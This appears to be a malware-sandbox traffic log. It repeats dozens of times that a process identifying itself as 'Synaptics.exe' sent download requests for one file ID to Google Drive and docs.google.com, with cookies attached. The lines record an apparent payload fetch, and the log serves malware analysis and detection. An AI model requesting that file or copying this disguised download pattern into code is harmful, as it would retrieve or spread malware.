Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
